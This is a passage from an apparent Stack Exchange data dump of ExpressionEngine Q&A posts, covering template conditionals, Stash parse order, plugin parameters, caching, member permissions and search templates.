parse=&quot;inward&quot; category=&quot;258&quot;}&#xA;    ...&#xA;    {/exp:channel:entries}&#xA;{if:else}&#xA;    {exp:channel:entries channel=&quot;choices_events|jobs-opps&quot; &#xA;        show_future_entries=&quot;yes&quot; show_expired=&quot;no&quot; &#xA;        disable=&quot;trackbacks&quot; orderby=&quot;date_time|job-start-date&quot; &#xA;        sort=&quot;asc&quot; paginate=&quot;bottom&quot; status=&quot;open&quot; dynamic=&quot;no&quot; &#xA;        parse=&quot;inward&quot;}&#xA;    ...&#xA;    {/exp:channel:entries}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not great!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or the embed (which is what I tend to use in this instance):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the template (or ideally if it has a parent template) have the conditional and the embed...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if channel_short_name == &quot;jobs-opps&quot;}&#xA;    {embed=template-group/my-embed category=&quot;category='258'&quot;}&#xA;{if:else}&#xA;    {embed=template-group/my-embed category=&quot;&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in the embedded template (template-group/my-embed) used for both has the following...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:channel:entries channel=&quot;choices_events|jobs-opps&quot; &#xA;        show_future_entries=&quot;yes&quot; show_expired=&quot;no&quot; &#xA;        disable=&quot;trackbacks&quot; orderby=&quot;date_time|job-start-date&quot; &#xA;        sort=&quot;asc&quot; paginate=&quot;bottom&quot; status=&quot;open&quot; dynamic=&quot;no&quot; &#xA;        parse=&quot;inward&quot; {embed:category}}&#xA;    ...&#xA;    {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note the embedded variable passing the category parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To resolve the {channel_short_name} issue, simple wrap the first template in the channel entries tag pair:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;choices_events|jobs-opps&quot; disable=&quot;trackbacks&quot;&#xA;    status=&quot;open&quot; dynamic=&quot;no&quot; limit=&quot;1&quot;}&#xA;    {if &quot;{channel_short_name}&quot; == &quot;jobs-opps&quot;}&#xA;        {embed=template-group/my-embed category=&quot;category='258'&quot;}&#xA;    {if:else}&#xA;        {embed=template-group/my-embed category=&quot;&quot;}&#xA;    {/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You will need to tweak the parameters a little, as it's not obvious as to what you're outputting on what URLs, you're listing multiple entries, but unknown if these could be from both channels at the same time, or separate channels depending on the URL. so currently the parent is limited to 1 loop, whereas the embedded templates will loop through everything.&lt;/p&gt;&#xA;" OwnerUserId="425" LastEditorUserId="425" LastEditDate="2013-05-29T13:30:37.473" LastActivityDate="2013-05-29T13:30:37.473" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10807" PostTypeId="1" AcceptedAnswerId="10858" CreationDate="2013-05-29T12:57:30.057" Score="1" ViewCount="124" Body="&lt;p&gt;Is there an add-on that makes this fairly easy to accomplish? We'd only like to export/import blog entries and the field groups are identical on both EE installs.&lt;/p&gt;&#xA;" OwnerUserId="211" LastActivityDate="2013-05-30T15:13:53.410" Title="How to export EE1 entries and comments and re-import them to another EE1 install?" Tags="|ee1|import|export|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10808" PostTypeId="1" AcceptedAnswerId="10812" CreationDate="2013-05-29T14:07:56.867" Score="0" ViewCount="133" Body="&lt;pre&gt;&lt;code&gt;{exp:channel:entries dynamic=&quot;no&quot; category=&quot;{exp:stash:get name=&quot;current_category_id&quot;}&quot;}&#xA;    content&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;returns no results. However, &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries dynamic=&quot;no&quot; category=&quot;1&quot;}&#xA;    content&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;returns the expected results, and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get name=&quot;current_category_id&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;returns &lt;code&gt;1&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems to me that the first example should work. What am I missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: here is how the stash is set. Apologies for its being somewhat contorted. segment_2_category_id is powered by seg2cat.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;current_category_id&quot;}&#xA;{if {segment_2_category_id} == &quot;91&quot;}91&#xA;{if:elseif {segment_2_category_id}==&quot;90&quot;}90&#xA;{if:elseif {segment_2_category_id}==&quot;4&quot;}4&#xA;{if:elseif {segment_2_category_id}==&quot;3&quot;}3&#xA;{if:elseif {segment_2_category_id}==&quot;2&quot;}2&#xA;{if:else}1{/if}{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1518" LastEditorUserId="1518" LastEditDate="2013-05-29T14:18:59.010" LastActivityDate="2016-02-04T16:31:17.370" Title="using exp:stash:get as filtered category returns no results despite exp:stash:get returning a result" Tags="|channel-entries|categories|stash|channel|low-seg2cat|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="10809" PostTypeId="1" AcceptedAnswerId="10810" CreationDate="2013-05-29T14:15:08.790" Score="0" ViewCount="26" Body="&lt;p&gt;I am creating a small plugin, and am having an issue. I am using Carthrob for my e-commerce, and want to take some information into the tag data for my plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My tag is the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:submission_data:details cart_entries=&quot;{exp:cartthrob:cart_items_info}{entries}x{quantity},{/exp:cartthrob:cart_items_info}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The code within the tag data is outputting:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;4x1,2x3,1x4,&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Here is the part of the my plugin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$tagdata = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata;  &#xA;&#xA;$cart_entries = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;fetch_param('cart_entries');&#xA;&#xA;$cart_entries_total = 0;&#xA;$explode = explode(&quot;,&quot;, $cart_entries);&#xA;&#xA;foreach ($explode as $explodeSegment) {&#xA;    if (trim($explodeSegment) != &quot;&quot;) {&#xA;        list($amount, $quantity) = explode(&quot;x&quot;, $explodeSegment);&#xA;        $cart_entries_total += ((int)$amount * (int)$quantity);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Currently this is returning 0, instead of 14. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I add the data (4x1,2x3,1x4,) manually, it outputs the correct number.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am guessing this is something to do with the CT tags in the tagdata.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I need to remove them in the code? how, or is there another solution?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2013-05-29T14:28:06.947" Title="Other module tags inside tag data causing issue" Tags="|php|module|plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10810" PostTypeId="2" ParentId="10809" CreationDate="2013-05-29T14:28:06.947" Score="1" Body="&lt;p&gt;Try adding parse=&quot;inward&quot; to the exp:submission_data:details tag.&lt;/p&gt;&#xA;" OwnerUserId="617" LastActivityDate="2013-05-29T14:28:06.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10811" PostTypeId="2" ParentId="10808" CreationDate="2013-05-29T14:32:38.907" Score="0" Body="&lt;p&gt;You have to set parse as &quot;inward&quot; and to pay attention to quotation marks.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries dynamic=&quot;no&quot; category=&quot;{exp:stash:get name='current_category_id'}&quot; parse=&quot;inward&quot;}&#xA;    content&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-05-29T14:32:38.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10812" PostTypeId="2" ParentId="10808" CreationDate="2013-05-29T14:35:48.413" Score="2" Body="&lt;p&gt;Well from the looks of it you don't really need to use Stash at all. If you use something like &lt;a href=&quot;http://gotolow.com/addons/low-seg2cat/docs&quot; rel=&quot;nofollow&quot;&gt;Low Seg2Cat&lt;/a&gt; or &lt;a href=&quot;http://devot-ee.com/add-ons/url-helper&quot; rel=&quot;nofollow&quot;&gt;URL Helper&lt;/a&gt; you can just pull in &lt;code&gt;{segment_2_category_id}&lt;/code&gt; straight into your Channel Entries tag as the parameter value:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries dynamic=&quot;no&quot; category=&quot;{segment_2_category_id}|1&quot;}&#xA;    content&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With regards to the Stash issue however it's to do with parse order as you're including several complex conditionals in your template. Stash provides several ways to circumvent the parse order but in this case you can greatly simplify your conditional logic to use either simple conditions (just if's - no elseif's).&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-05-29T14:35:48.413" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10813" PostTypeId="2" ParentId="10807" CreationDate="2013-05-29T14:58:31.653" Score="1" Body="&lt;p&gt;I don't think there's any addon out there for such a purpose and I'm not sure I'd trust it entirely if there was in comparison to grabbing the data from the database directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't remember the EE1 DB schema but they should be fairly easy to get to. In EE2 all your channel data is listed in &lt;code&gt;exp_channel_*&lt;/code&gt; and comments in &lt;code&gt;exp_comments&lt;/code&gt;. Possibly also &lt;code&gt;exp_comment_subscriptions&lt;/code&gt; if there are any. It should follow a similar suit in EE1 so you can export the data from those tables and import into your new database. Just double check if you have any addons in use which may link into channel entries and be sure to install those wherever it's being moved to and grab their data too.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-05-29T14:58:31.653" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10814" PostTypeId="1" CreationDate="2013-05-29T15:01:22.677" Score="0" ViewCount="63" Body="&lt;p&gt;In channels you can define a default category to added entries, and I'd like to do something similar for added images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a Safecracker File field (using Safecracker to upload).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help!&lt;/p&gt;&#xA;" OwnerUserId="1327" LastActivityDate="2013-05-29T15:14:18.903" Title="Can I add a default category to images?" Tags="|image|categories|safecracker-file|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10815" PostTypeId="2" ParentId="10814" CreationDate="2013-05-29T15:14:18.903" Score="1" Body="&lt;p&gt;I don't think, there is such a feature for assigning a default category to updated image from channel entry. Although, a category can be assigned to image in File Manager while editing it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your need can be fulfilled by developing an extension using the hook &quot;entry_submission_end&quot; which will assign a default category to uploaded image.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-05-29T15:14:18.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10816" PostTypeId="1" CreationDate="2013-05-29T16:09:25.483" Score="1" ViewCount="3639" Body="&lt;p&gt;I have got a site that has both EE caching applied and CE Cache module. I have updated the html mark-up in the template but my changes aren't showing through.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are several cache parameters for EE tags which I have set to one minute. I have reloaded the pages couple minutes later and still have the old version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I have set CE cache module tag that's wrapped around the template ({exp:ce_cache:it id=&quot;page&quot; seconds=&quot;1&quot;}) to one second and have cleared the &quot;Clear Driver Site Cache&quot; in the admin/control panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anything else am suppose to be doing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="789" LastActivityDate="2013-06-28T17:46:14.597" Title="How to clear EE native cache and CE Cache" Tags="|cache|ce-cache|caching|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10817" PostTypeId="2" ParentId="10816" CreationDate="2013-05-29T16:16:52.790" Score="1" Body="&lt;p&gt;You can clear EE cache from Control Panel -&gt; Tools -&gt; Data -&gt; Clear Caching.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For CE Cache:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to CE Cache module settings. Click &quot;View Items&quot; next to either File or Database driver (the method of cache store, usually File).&#xA;Here you can clear the cache by clicking &quot;Delete Children&quot;.&lt;/p&gt;&#xA;" OwnerUserId="872" LastEditorUserId="872" LastEditDate="2013-05-29T17:24:21.340" LastActivityDate="2013-05-29T17:24:21.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10818" PostTypeId="1" CreationDate="2013-05-29T16:17:08.093" Score="1" ViewCount="118" Body="&lt;p&gt;I'm using this to check if there is anything in the cart, but it throws an error on the front end. Is there a different ay to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:store:cart}&#xA;{if items}Go to Order Form{/if}&#xA;{/exp:store:cart}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The error:&#xA;Message: Array to string conversion&#xA;Filename: libraries/Functions.php&#xA;Line Number: 2584&lt;/p&gt;&#xA;" OwnerUserId="68" LastActivityDate="2013-05-29T18:25:53.097" Title="Expresso-store: How do I show a button if the cart has items in?" Tags="|expresso-store|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10819" PostTypeId="2" ParentId="10818" CreationDate="2013-05-29T16:27:54.327" Score="1" Body="&lt;p&gt;Just needed to use {items}{/items}.&lt;/p&gt;&#xA;" OwnerUserId="68" LastActivityDate="2013-05-29T16:27:54.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10820" PostTypeId="1" CreationDate="2013-05-29T16:46:53.030" Score="1" ViewCount="209" Body="&lt;p&gt;I am running ExpressionEngine inside of a &lt;a href=&quot;http://www.vagrantup.com/&quot; rel=&quot;nofollow&quot;&gt;Vagrant virtual machine&lt;/a&gt;. When trying to upload an image, I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Thumbnail could not be created for the image. Please make sure the thumbnail directory is writable.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The image is uploaded to the &quot;uploads&quot; folder, but never gets past the point of creating the thumbnail. The _thumbs directory has 777 permissions and is owned by apache and inside the apache group. What could the problem be?&lt;/p&gt;&#xA;" OwnerUserId="1568" LastEditorUserId="975" LastEditDate="2013-06-11T11:30:13.573" LastActivityDate="2013-06-11T11:30:13.573" Title="&quot;Thumbnail could not be created for the image&quot; on virtual machine" Tags="|image|uploads|permissions|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10821" PostTypeId="1" CreationDate="2013-05-29T18:01:36.583" Score="1" ViewCount="382" Body="&lt;p&gt;Since updating to v2.6.1 I am no longer able to login as another member.  If I log in as a Super Admin and search for a user I can still click on the &quot;Login as Member&quot; link.  I am taken to the next screen and offered radio buttons, which I select &quot;Control Panel&quot;.  It now ask for &quot;You must submit your current Super Admin password to continue&quot; which I provide and then I go to the main login screen.  Anyone else having this issue?  Hard to troubleshoot user issues without being able to login as the user occasionally. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Guy&lt;/p&gt;&#xA;" OwnerUserId="1078" LastActivityDate="2014-02-28T22:43:43.347" Title="Login as Member not working" Tags="|members|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10822" PostTypeId="1" CreationDate="2013-05-29T18:07:43.807" Score="1" ViewCount="482" Body="&lt;p&gt;Recently updated to v2.6.1 and I have an issue now where users are not able to edit content authored by other authors.  In this case the user group in question has &quot;Can edit entries authored by others&quot; set to yes but whenever the user tried to edit it won't allow it. Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Guy&lt;/p&gt;&#xA;" OwnerUserId="1078" LastActivityDate="2014-01-09T21:35:42.900" Title="Can edit entries authored by others: Not Working" Tags="|author|" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10823" PostTypeId="2" ParentId="10818" CreationDate="2013-05-29T18:25:53.097" Score="1" Body="&lt;p&gt;You can also use &lt;code&gt;{no_items}&lt;/code&gt; to check if the cart is empty:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:cart}&#xA;&#xA;    {if no_items}&#xA;        Your cart is empty!&#xA;    {/if}&#xA;&#xA;    Your cart: {order_qty} items - {order_total}&#xA;&#xA;{/exp:store:cart}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-05-29T18:25:53.097" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10824" PostTypeId="1" CreationDate="2013-05-29T18:33:23.720" Score="0" ViewCount="87" Body="&lt;p&gt;Is it possible to access videos in a Vimeo pro or plus account that have been flagged as private/domain restricted?&lt;/p&gt;&#xA;" OwnerUserId="809" LastActivityDate="2013-05-29T18:33:23.720" Title="Vimeo pro/plus content with Duct Videos" Tags="|plugin|security|video|vimeo|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10825" PostTypeId="1" CreationDate="2013-05-29T18:50:22.640" Score="0" ViewCount="57" Body="&lt;p&gt;We have a customer training service module in (PowerPoint slide show format) for select employees. It has to be accessible from a web page with a login. What is the simplest way to accomplish the login? I am thinking it might be best to make the page separate from the corporate site (like it's own mini site) and use a limited access login through EE. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have a corporate EE website and do not use any vistor login.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm a technically challenged designer and EE newbie responsible for expansion, updating content and making some changes to the design of our corporate site. Thank  you! &lt;/p&gt;&#xA;" OwnerUserId="1569" LastActivityDate="2013-05-29T18:50:22.640" Title="Add user login to select content" Tags="|login|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10826" PostTypeId="1" AcceptedAnswerId="10827" CreationDate="2013-05-29T19:37:21.833" Score="3" ViewCount="877" Body="&lt;p&gt;The documentation says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Snippets are expanded at a very early stage on each template, making&#xA;  it possible for them to hold dynamic content, ExpressionEngine tags,&#xA;  other variables, &lt;strong&gt;PHP&lt;/strong&gt;, etc.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The evidence seems to run contrary to that statement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can PHP be used in a snippet as it can in an embed when enabled?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The scenario: I have Google Analytics and other tracking code in a snippet. I want to wrap it in a simple PHP conditional to check for the live site URL, so I'm not hitting that code in my development/staging environment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mark&lt;/p&gt;&#xA;" OwnerUserId="293" LastActivityDate="2013-05-29T20:01:18.187" Title="Can snippets contain PHP?" Tags="|php|snippets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10827" PostTypeId="2" ParentId="10826" CreationDate="2013-05-29T20:01:18.187" Score="4" Body="&lt;p&gt;Yes, as long as the template in which you put the snippet has PHP enabled.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-05-29T20:01:18.187" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10828" PostTypeId="1" AcceptedAnswerId="11356" CreationDate="2013-05-29T20:04:55.430" Score="4" ViewCount="522" Body="&lt;p&gt;I tried using Testee as my test framework but found that SimpleTest but the latest release of SimpleTest was in 2010 so I'm presuming that it is no longer supported which is probably why Stephen Lewis hasn't updated Testee for 10 months.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, I can't get this working and because it is unsupported I guess that it would be better to find out what other folks are doing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was thinking of Forking the Codeigniter tests and extending them in some way.  Is this what others are doing?&lt;/p&gt;&#xA;" OwnerUserId="1570" LastActivityDate="2013-06-19T09:19:24.273" Title="How to unit test AddOns, plugins and extentions" Tags="|ee2|module|codeigniter|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10829" PostTypeId="2" ParentId="10821" CreationDate="2013-05-29T20:27:39.883" Score="1" Body="&lt;p&gt;The radio buttons I get are &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Site Homepage&lt;/li&gt;&#xA;&lt;li&gt;Other&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Followed by a text box to enter the URL for the &quot;Other&quot; location to be redirected to.&#xA;I'm then redirected to the desired location.&#xA;Maybe there is something strange in the choice of radio buttons you have?&lt;/p&gt;&#xA;" OwnerUserId="1570" LastActivityDate="2013-05-29T20:27:39.883" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10830" PostTypeId="1" AcceptedAnswerId="11781" CreationDate="2013-05-29T20:38:17.223" Score="0" ViewCount="58" Body="&lt;p&gt;I have a page that allows registered users to post a entry on my site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since upgrading to the latest version of EE, I'm getting the following error, instead of the page loading:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error Number: 1054&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Unknown column 'date' in 'order clause'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SELECT DISTINCT &lt;code&gt;exp_channel_titles&lt;/code&gt;.&lt;code&gt;entry_id&lt;/code&gt;, &lt;code&gt;exp_channel_titles&lt;/code&gt;.&lt;code&gt;title&lt;/code&gt; FROM (&lt;code&gt;exp_channel_titles&lt;/code&gt;) WHERE &lt;code&gt;exp_channel_titles&lt;/code&gt;.&lt;code&gt;channel_id&lt;/code&gt; IN ('5') AND &lt;code&gt;exp_channel_titles&lt;/code&gt;.&lt;code&gt;entry_date&lt;/code&gt; &amp;lt; 1369859305 AND (exp_channel_titles.expiration_date = 0 OR exp_channel_titles.expiration_date &gt; 1369859305) ORDER BY &lt;code&gt;date&lt;/code&gt; desc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Filename: modules/safecracker/libraries/safecracker_lib.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Line Number: 2736&lt;/p&gt;&#xA;" OwnerUserId="1295" LastActivityDate="2013-07-09T05:05:55.227" Title="Database error from Safecracker" Tags="|safecracker|database|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10831" PostTypeId="2" ParentId="387" CreationDate="2013-05-29T20:56:01.780" Score="1" Body="&lt;p&gt;If you don't want to use GitHub, BitBucket or SourceTree you can set up your own repository on your server.  I have one on my Linux server.&lt;br&gt;&#xA;For information on how to do this go to the git book: &lt;a href=&quot;http://git-scm.com/book/en/Git-on-the-Server&quot; rel=&quot;nofollow&quot;&gt;http://git-scm.com/book/en/Git-on-the-Server&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1570" LastActivityDate="2013-05-29T20:56:01.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10832" PostTypeId="1" AcceptedAnswerId="14768" CreationDate="2013-05-29T21:35:08.737" Score="3" ViewCount="498" Body="&lt;p&gt;I’m running into some issues when my users are searching using Simple Search and get no results. For some reason, they’re being redirected to a system message which is detailing they don’t have any results. However, this isn’ the correct template, and certain embeds are showing that shouldn’t be, and as a result are not rendering properly. The search form is inside of a snippet called &lt;code&gt;snip_primary_nav&lt;/code&gt;, shown here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;nav id=&quot;social&quot;&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;http://www.youtube.com/user/HeirloomMeals&quot;&amp;gt;&amp;lt;img src=&quot;/assets/images/youtube_16.png&quot; alt=&quot;Youtube&quot; width=&quot;16&quot; height=&quot;16&quot; /&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;http://twitter.com/HeirloomMeals&quot;&amp;gt;&amp;lt;img src=&quot;/assets/images/twitter_16.png&quot; alt=&quot;Twitter&quot; width=&quot;16&quot; height=&quot;16&quot; /&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;/rss/&quot;&amp;gt;&amp;lt;img src=&quot;/assets/images/rss_16.png&quot; alt=&quot;RSS&quot; width=&quot;16&quot; height=&quot;16&quot; /&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {!-- &amp;lt;li&amp;gt;&amp;lt;a href=&quot;http://www.linkedin.com/company/heirloom-meals&quot;&amp;gt;&amp;lt;img src=&quot;/assets/images/linkedin_16.png&quot; alt=&quot;LinkedIn&quot; width=&quot;16&quot; height=&quot;16&quot; /&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt; --}&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;http://pinterest.com/heirloommeals&quot;&amp;gt;&amp;lt;img src=&quot;/assets/images/pinterest_16.png&quot; alt=&quot;Pinterest&quot; width=&quot;16&quot; height=&quot;16&quot; /&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;http://instagram.com/heirloommeals&quot;&amp;gt;&amp;lt;img src=&quot;/assets/images/instagram_16.png&quot; alt=&quot;Instagram&quot; width=&quot;16&quot; height=&quot;16&quot; /&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;http://www.facebook.com/HeirloomMealsWithCaroleMurko&quot;&amp;gt;&amp;lt;img src=&quot;/assets/images/facebook_16.png&quot; alt=&quot;Facebook&quot; width=&quot;16&quot; height=&quot;16&quot; /&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;          &#xA;    &amp;lt;/ul&amp;gt;&#xA;&#xA;{exp:search:simple_form channel=&quot;blog|shows|recipes|products&quot; search_in=&quot;everywhere&quot; where=&quot;all&quot; result_page=&quot;search/&quot; no_result_page=&quot;search/no_results&quot; show_expired=&quot;yes&quot; show_future_entries=&quot;yes&quot;}&#xA;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;keywords&quot; id=&quot;keywords&quot; value=&quot;&quot; size=&quot;18&quot; maxlength=&quot;100&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;submit&quot; value=&quot;&quot; class=&quot;searchbtn&quot; /&amp;gt;&#xA;&#xA;{/exp:search:simple_form}&#xA;&amp;lt;div class=&quot;question-call-to-action&quot;&amp;gt;&amp;lt;span&amp;gt;Questions?&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;Call 413-298-0173&amp;lt;/div&amp;gt;&#xA;&amp;lt;/nav&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is called inside of a general template, but happens on every template similarly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;_includes/.header&quot;}&#xA;    &amp;lt;header&amp;gt;&#xA;{gv_logo}&#xA;{snip_ribbon}&#xA;{snip_primary-nav}&#xA;    &amp;lt;/header&amp;gt;&#xA;  &amp;lt;div id=&quot;container&quot;&amp;gt;&#xA;        &amp;lt;div id=&quot;banner&quot;&amp;gt;&#xA;        &amp;lt;h2 id=&quot;sig&quot;&amp;gt;With Carole Murko&amp;lt;/h2&amp;gt;&#xA;            &amp;lt;div id=&quot;slider&quot;&amp;gt;&#xA;            {lv_home_headers}&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;div id=&quot;content&quot;&amp;gt;&#xA;        &amp;lt;section id=&quot;col1&quot;&amp;gt;&#xA;            